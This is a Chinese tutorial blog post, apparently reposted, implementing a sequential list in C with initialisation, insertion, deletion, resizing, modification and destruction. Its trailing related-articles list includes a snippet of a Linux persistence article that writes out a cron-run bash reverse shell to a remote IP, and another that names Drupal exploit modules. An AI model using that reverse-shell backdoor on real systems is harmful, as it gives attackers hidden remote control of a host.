【数据结构启航!】数据结构开胃菜之顺序表

news2024/11/14 11:01:41

【数据结构启航!】数据结构开胃菜之顺序表

  • 一、线性表简介
  • 二、目标
  • 三、实现
    • 1、初始化工作
    • 2、顺序表的尾插
      • 2.1、图解原理
      • 2.2、代码实现
    • 3、顺序表的尾删
      • 3.1、图解原理
      • 3.2、代码实现
    • 4、打印顺序表
    • 5、顺序表的增容
    • 6、顺序表的头插
      • 6.1、图解原理
      • 6.2、代码实现
    • 7、顺序表的头删
      • 7.1、图解原理
      • 7.2、代码实现
    • 8、顺序表的随机插入
      • 8.1、图解原理
      • 8.2、代码实现
    • 9、顺序表的随机删除
      • 9.1、图解原理
      • 9.2、代码实现
    • 10、顺序表节点的修改
    • 11、销毁顺序表

一、线性表简介

关于线性表的介绍如下:

线性表(linear list)是n个具有相同特性的数据元素的有限序列。 线性表是一种在实际中广泛使用的数据结构,常见的线性表:顺序表、链表、栈、队列、字符串…
线性表在逻辑上是线性结构,也就说是连续的一条直线。但是在物理结构上并不一定是连续的,线性表在物理上存储时,通常以数组和链式结构的形式存储。

而今天我们要学习的就是线性表中最简单的顺序表,因为顺序表不管是在逻辑上还是在物理上都和数组差不多,所以一般情况下采用数组进行存储。顺序表的逻辑图大致如下所示:
在这里插入图片描述

二、目标

顺序表要实现的功能大致如下:

// 初始化顺序表,初始化容量为10
void init_seq_list(SL* pc);
// 顺序表的尾插
void seq_list_push_back(SL* pc, data_type x);
// 顺序表的尾删
void seq_list_pop_back(SL* pc);
// 顺序表的打印
void print_seq_list(SL* pc);
// 顺序表的增容
void seq_list_check_up(SL* pc);
// 顺序表的头插
void seq_list_push_front(SL* pc, data_type x);
// 顺序表的头删
void seq_list_pop_front(SL* pc);
// 顺序表的随机插入
void seq_list_insert(SL* pc, int pos, data_type x);
// 顺序表的随机删除
void seq_list_remove(SL* pc, int pos);
// 顺序表的修改
void modify_seq_list(SL* pc, int pos, data_type x);
// 顺序表的销毁
void destroy_seq_list(SL* pc);

三、实现

1、初始化工作

我们先来定义一个顺序表的结构体类型,其中包含了节点类型指针,顺序表长度和顺序表容量:

typedef struct seq_list {
	data_type* data;
	int num; // 标记当前顺序表中的元素个数
	int capacity; // 标记当前顺序表的容量
} SL;

将节点类型使用typedef重命名主要是为了将来修改的时候方便,这里先将类型定义成int:

typedef int data_type;

创建好了类型之后我们就要对其进行初始化了,我们先初始化容量为10。
这个操作只需要使用malloc函数来申请一块10个data_type类型大小的空间即可:

// 初始顺序表,初始化容量为10
void init_seq_list(SL* pc) {
	assert(pc);
	data_type* temp = (data_type*)malloc(10 * sizeof(data_type));
	if (NULL == temp) {
		perror("malloc");
		return;
	}
	pc->data = temp;
	pc->num = 0;
	pc->capacity = 10;
}

2、顺序表的尾插

顺序表的尾插即在顺序表的尾部插入一个节点

2.1、图解原理

如果我们将顺序表的下标设计成从0开始,那我们的尾插就很简单了,因为这样的话成员变量num的值就是每次尾插要插入的坐标的值:
在这里插入图片描述
插入后再让num++即可。

2.2、代码实现

void seq_list_push_back(SL* pc, data_type x) {
	assert(pc);
	// 先检查是否需要增容
	seq_list_check_up(pc);
	pc->data[pc->num] = x;
	pc->num++;
}

(增容后面会说)

3、顺序表的尾删

顺序表的尾删即删除顺序表尾部的节点

3.1、图解原理

实现这个功能其实我们只需要让num–即可,因为我们顺序表的可用长度是通过num来控制的,后面其实还可能会有空间的,但我们不管就行了:
在这里插入图片描述

3.2、代码实现

void seq_list_pop_back(SL* pc) {
	assert(pc);
	// 判断顺序表是否为空
	if (pc->num <= 0) {
		printf("顺序表已空,没有信息可删除……\n");
		return;
	}
	pc->num--;
}

4、打印顺序表

有了插入和删除的功能,那我们就要来测试一下,所以我们先写一个打印函数,打印出信息来测试:

void print_seq_list(SL* pc) {
	assert(pc);
	if (pc->num <= 0) {
		printf("顺序表已空,没有信息可显示……\n");
		return;
	}
	int i = 0;
	for (i = 0; i < pc->num; i++) {
		printf("[%d]", pc->data[i]);
		if (i < pc->num - 1) {
			printf("-->");
		}
	}
	printf("\n");
}

然后我们就可以来测试一下我们的尾插和尾删功能了,先插入几个节点:
在这里插入图片描述
再删除几个节点:
在这里插入图片描述
从结果可以看出,我们的代码是没有什么问题的。

5、顺序表的增容

我们顺序表的空间总归是有限的,所以随着我们不断的插入节点,顺序表就有可能满。所以我们就需要对顺序表进行增容,我们默认每次都增容增到原来的二倍。
这个操作不用多说,交给realloc函数完成即可:

void seq_list_check_up(SL* pc) {
	assert(pc);
	if (pc->num == pc->capacity) {
		int new_capacity = pc->capacity * 2;
		data_type* temp = (data_type*)realloc(pc->data, new_capacity * sizeof(data_type));
		if (NULL == temp) {
			perror("malloc");
			return;
		}
		pc->data = temp;
		pc->capacity = new_capacity;
	}
}

6、顺序表的头插

顺序表的头插即在顺序表的头部插入节点

6.1、图解原理

为了保证插入后其他元素的相对位置不变且连续,我们需要先将原来的所有元素都向后移动一位,然后再将data[0]改成要插入的数据并让num++:
在这里插入图片描述

而且要注意的是,这个操作必须从后往前移动,因为从前往后移动的话,移动一个后,后面的元素也就被覆盖了。

6.2、代码实现

void seq_list_push_front(SL* pc, data_type x) {
	assert(pc);
	// 还是先检查是否需要增容
	seq_list_check_up(pc);
	int end = pc->num;
	// 将所有元素全都向后移一位
	while (end > 0) {
		pc->data[end] = pc->data[end - 1];
		end--;
	}
	pc->data[0] = x;
	pc->num++;
}

7、顺序表的头删

顺序表的头删即删除顺序表头部的节点

7.1、图解原理

完成这个操作我们只需要将头元素之后的元素全都先前移动一个位置,覆盖掉前一个元素即可:
在这里插入图片描述
最后再让num–。

7.2、代码实现

void seq_list_pop_front(SL* pc) {
	assert(pc);
	// 判断顺序表是否为空
	if (pc->num <= 0) {
		printf("顺序表已空,没有信息可删除……\n");
		return;
	}
	int i = 0;
	for (i = 0; i < pc->num - 1; i++) {
		pc->data[i] = pc->data[i + 1];
	}
	pc->num--;
}

8、顺序表的随机插入

通过下标插入就可实现在任意位置插入数据

8.1、图解原理

其实和头插的原理一样,我们需要先将从坐标pos起的元素全都向后移动一位,然后再将数据放入到data[pos],只不过是头插的pos刚好等于0:
在这里插入图片描述
然后再让num++即可。

8.2、代码实现

void seq_list_insert(SL* pc, int pos, data_type x) {
	assert(pc);
	// 先判断坐标pos的合法性
	if (pos < 0 || pos > pc->num) {
		printf("坐标非法!\n");
		return;
	}
	// 先将pos位置后面的元素都向后移动一位
	int end = pc->num;
	while (end > pos) {
		pc->data[end] = pc->data[end - 1];
		end--;
	}
	pc->data[pos] = x;
	pc->num++;
}

注意这里在做坐标判断的时候用的还是pos > pc->num而不是pos >= pc->num。这是因为pos是可以等于num的,当pos等于num时,达到的效果就和尾插一样了。

9、顺序表的随机删除

通过坐标来删除元素就可以实现随即删除了

9.1、图解原理

其实原理也是跟头删一样,只不过头删的pos刚好等于0,我们还是只需要将pos后面的元素都向前移动一位并让num–即可:
在这里插入图片描述在这里插入图片描述

9.2、代码实现

void seq_list_remove(SL* pc, int pos) {
	assert(pc);
	// 先判断坐标pos的合法性
	if (pos < 0 || pos > pc->num - 1) {
		printf("坐标非法!\n");
		return;
	}
	int i = 0;
	for (i = pos; i < pc->num - 1; i++) {
		pc->data[i] = pc->data[i + 1];
	}
	pc->num--;
}

而我们这里的坐标判断就要改成pos > pc->num - 1因为顺序表中的节点的坐标最大就只能到达num - 1。

10、顺序表节点的修改

我们通过坐标定位节点,然后修改其数据即可:

void modify_seq_list(SL* pc, int pos, data_type x) {
	assert(pc);
	// 先判断坐标pos的合法性
	if (pos < 0 || pos > pc->num - 1) {
		printf("坐标非法!\n");
		return;
	}
	pc->data[pos] = x;
}

11、销毁顺序表

这个操作其实就是用free函数将data给释放了:

void destroy_seq_list(SL* pc) {
	assert(pc);
	free(pc->data);
	pc->data = NULL;
	pc->num = 0;
	pc->capacity = 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/420565.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Javascript cookie和session

在网站中&#xff0c;http请求是无状态的&#xff0c;当我们与服务端做一次数据请求&#xff0c;请求完毕后&#xff0c;第二次数据请求服务器端仍然不知道是哪个用户&#xff0c;cookie的出现就是为了解决这个问题。 一 Session与Cookie的区别 1 相同点 它们都是用于存…

实战打靶集锦-016-lampiao

提示&#xff1a;本文记录了博主打靶过程中一次曲折的提权经历 文章1. 主机发现2. 端口扫描3. 服务枚举4. 服务探查4.1 80端口探查4.2 1898端口探查4.3 EXP搜索4.3.1 exploit/unix/webapp/drupal_coder_exec4.3.2 exploit/unix/webapp/drupal_drupalgeddon25. 提权5.1 系统信息…

RayVentory crack,RayVentory扫描引擎

RayVentory crack,RayVentory扫描引擎 RayVentory扫描引擎12.5.3581.73[更新2] libcurl.dll库现在使用Raynet证书进行了签名&#xff0c;为用户增加了额外的安全层。 对设备更新过程进行了显著改进&#xff0c;特别是在同时扫描具有大型数据库的多个设备时。这确保了数据的一致…

雪花算法ID冲突问题与解决方案

分布式部署应用项目采用雪花算法生成ID有冲突问题&#xff1a; 方案一&#xff1a;给应用分配随机 datacenter-id和 worker-id 如下图&#xff1a; global-config:db-config:logic-delete-field: del_flaglogic-delete-value: 1 # 逻辑已删除值(默认为 1)logic-not-delete-…

用友开发者中心应用构建实践指引(二):如何实现入职申请单功能?

用友开发者中心应用构建实践指引&#xff08;二&#xff09;&#xff1a;如何实现入职申请单功能&#xff1f; 在上一篇文章《用友开发者中心应用构建实践指引&#xff01;》中&#xff0c;我们完成了应聘人员信息登记的配置&#xff0c;实现了面试者提交应聘信息&#xff0c;…

内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

【C++ 一】C++ 入门

C 入门 文章目录C 入门前言1 C 初识1.1 第一个C程序1.1.1 创建项目1.1.2 创建文件1.1.3 编写代码1.1.4 运行程序1.2 注释1.3 变量1.4 常量1.5 关键字1.6 标识符命名规则2 数据类型2.1 整型2.2 sizeof 关键字2.3 实型&#xff08;浮点型&#xff09;2.4 字符型2.5 转义字符2.6 字…

appium自动化测试完整项目

前言 Appium是一个开源的自动化测试框架&#xff0c;支持跨平台&#xff0c;支持多种编程语言&#xff0c;可用于原生&#xff0c;混合和移动web应用程序&#xff0c;使用webdriver驱动ios&#xff0c;android应用程序、那么为了学习app自动化测试首要任务肯定就是搭建测试开发…

数据治理的核心框架和六大思维

请点击↑关注、收藏&#xff0c;本博客免费为你获取精彩知识分享&#xff01;有惊喜哟&#xff01;&#xff01; 数据成为新的生产力&#xff0c;必将引发数据生产关系的变革&#xff0c;而数据治理体系就代表着新的生产关系。近日发布的《广东省数据要素市场化配置改革理论研…

尚融宝18-JWT令牌和测试

目录 一、访问令牌的类型 &#xff08;一&#xff09;reference token(透明令牌) &#xff08;二&#xff09;value token(自包含令牌) 二、JWT令牌 &#xff08;一&#xff09;什么是JWT令牌 &#xff08;二&#xff09;JWT令牌的组成 &#xff08;三&#xff09;JWT的…

java 25

练习一: package com.shhfg.ds;public class HelloWorld01 {public static void main(String[] args) {/* 需求&#xff1a;给你一个整数 a如果 a 是一个回文整数&#xff0c;打印true&#xff0c;否则&#xff0c;还回false。解释&#xff1a;回文数是指正序&#xff08;从左到…

kaggle竞赛-Stable Diffusion数据分析与baseline

你的目的是来预测我们生成图像的提示词 1.比赛目标 这个竞赛的目标不是从文本提示生成图像&#xff0c;而是创建一个模型&#xff0c;可以在给定生成图像的情况下预测文本提示&#xff08;你有一堆提示词&#xff0c;你预测是否该提示词参与了图像的生成&#xff09;?您将在…

百度智能云对象存储BOS批量下载文件方法

百度智能云对象存储BOS支持批量打包下载吗&#xff1f;目前对象存储BOS浏览器端不支持批量下载&#xff0c;可以使用对象存储BOS桌面或BOSCMD批量下载&#xff0c;也可以使用API/SDK调用接口循环下载。新手站长网来详细说下百度云对象存储BOS批量下载的方法&#xff1a; 目录 …

计算机网络 实验二

⭐计网实验专栏&#xff0c;欢迎订阅与关注&#xff01; ★观前提示&#xff1a;本篇内容为计算机网络实验。内容可能会不符合每个人实验的要求&#xff0c;因此以下内容建议仅做思路参考。 一、实验目的 &#xff08;1&#xff09;掌握IP地址的基本结构(网络部分与主机部分的…

计算广告(十一)

MF矩阵分解&#xff08;Matrix Factorization&#xff09;是一种常见的数学工具&#xff0c;它将一个大型矩阵分解为两个或多个较小的矩阵&#xff0c;这些较小的矩阵相乘会得到一个近似于原始矩阵的矩阵。矩阵分解在许多领域中都有广泛的应用&#xff0c;如机器学习、数据挖掘…

Win10+Anaconda+Pytorch_CPU+VsCode安装配置

一、安装Anaconda 1&#xff0c;官网下载Anaconda安装包&#xff0c;找到对应版本的python&#xff0c;我下的是Anaconda3-2020.07-Windows-x86_64.exe&#xff0c;python版本为3.8.3&#xff1b; 安装时注意这个界面时 第一个不要勾选&#xff0c;安装成功后&#xff0c;手动…

如何在企业微信中使用低代码工具?

企业微信是一款非常强大的办公应用软件&#xff0c;可以方便地进行企业内部的沟通、协作、管理等工作。虽然企业微信本身并不提供低代码工具&#xff0c;但是可以通过集成第三方的低代码工具来实现在企业微信中的使用。 例如&#xff0c;可以使用低代码平台简道云&#xff0c;…

Python3--垃圾回收机制

一、概述 Python 内部采用 引用计数法&#xff0c;为每个对象维护引用次数&#xff0c;并据此回收不在需要的垃圾对象。由于引用计数法存在重大缺陷&#xff0c;循环引用时由内存泄露风险&#xff0c;因此Python还采用 标记清除法 来回收在循环引用的垃圾对象。此外&#xff0c…

「线性DP-学习案例」传球游戏

传球游戏 题目描述 ​ 上体育课的时候&#xff0c;小蛮的老师经常带着同学们一起做游戏。这次&#xff0c;老师带着同学们一起做传球游戏。 ​ 游戏规则是这样的&#xff1a;n个同学站成一个圆圈&#xff0c;其中的一个同学手里拿着一个球&#xff0c;当老师吹哨子时开始传球…

Systemverilog中Assertions的记录

1. assertion statement Assertion statement有以下几种类型&#xff1a; assert: 指定DUT的property&#xff0c;必须要verifyassume: 给验证环境指定假设的property。simulator检查这些property&#xff0c;但是formal工具会使用这些信息来产生输入激励。cover: 监控proper…